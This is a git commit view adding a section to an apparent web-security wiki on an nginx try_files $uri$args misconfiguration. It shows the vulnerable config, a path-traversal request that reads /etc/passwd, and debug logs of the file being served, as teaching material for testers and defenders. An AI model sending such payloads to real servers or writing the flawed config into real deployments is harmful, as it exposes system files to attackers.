nginx try_files directive with variables

This commit is contained in:
n0ll 2025-07-11 18:07:01 -04:00
parent b5fa7686cd
commit cee232eead
2 changed files with 55 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 190 KiB

View File

@ -157,6 +157,61 @@ $ curl -H Referer: bar http://localhost/foo$http_referer | grep foobar
Scans for this misconfiguration across systems revealed multiple instances where Nginx variables could be printed by a user. However, a decrease in the number of vulnerable instances suggests that efforts to patch this issue have been somewhat successful. Scans for this misconfiguration across systems revealed multiple instances where Nginx variables could be printed by a user. However, a decrease in the number of vulnerable instances suggests that efforts to patch this issue have been somewhat successful.
### Using try_files with $URI$ARGS variables
Following Nginx misconfiguration can lead to an LFI vulnerability:
```
location / {
try_files $uri$args $uri$args/ /index.html;
}
```
In our configuration we have directive `try_files` which is used to check for existence of files in specified order. Nginx will server the first one that it will find. The basic syntax of the `try_files` directive is as follows:
```
try_files file1 file2 ... fileN fallback;
```
Nginx will check for the existence of each file in the specified order. If a file exists, it will be served immediately. If none of the specified files exist, the request will be passed to the fallback option, which can be another URI or a specific error page.
However, when using `$uri$args` variables in this directive, the Nginx will try to look for a file that matches the request URI combined with any query string arguments. Therefor we can exploit this configuration:
```
http {
server {
root /var/www/html/public;
location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}
```
With following payload:
```
GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com
```
Using our payload we will escape the root directory (defined in Nginx configuration) and load the `/etc/passwd` file. In debug logs we can observe how the Nginx tries the files:
```
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK
```
PoC againts Nginx using the configuration mentioned above:
![Example burp request](../../images/nginx_try_files.png)
## Raw backend response reading ## Raw backend response reading
Nginx offers a feature through `proxy_pass` that allows for the interception of errors and HTTP headers produced by the backend, aiming to hide internal error messages and headers. This is accomplished by Nginx serving custom error pages in response to backend errors. However, challenges arise when Nginx encounters an invalid HTTP request. Such a request gets forwarded to the backend as received, and the backend's raw response is then directly sent to the client without Nginx's intervention. Nginx offers a feature through `proxy_pass` that allows for the interception of errors and HTTP headers produced by the backend, aiming to hide internal error messages and headers. This is accomplished by Nginx serving custom error pages in response to backend errors. However, challenges arise when Nginx encounters an invalid HTTP request. Such a request gets forwarded to the backend as received, and the backend's raw response is then directly sent to the client without Nginx's intervention.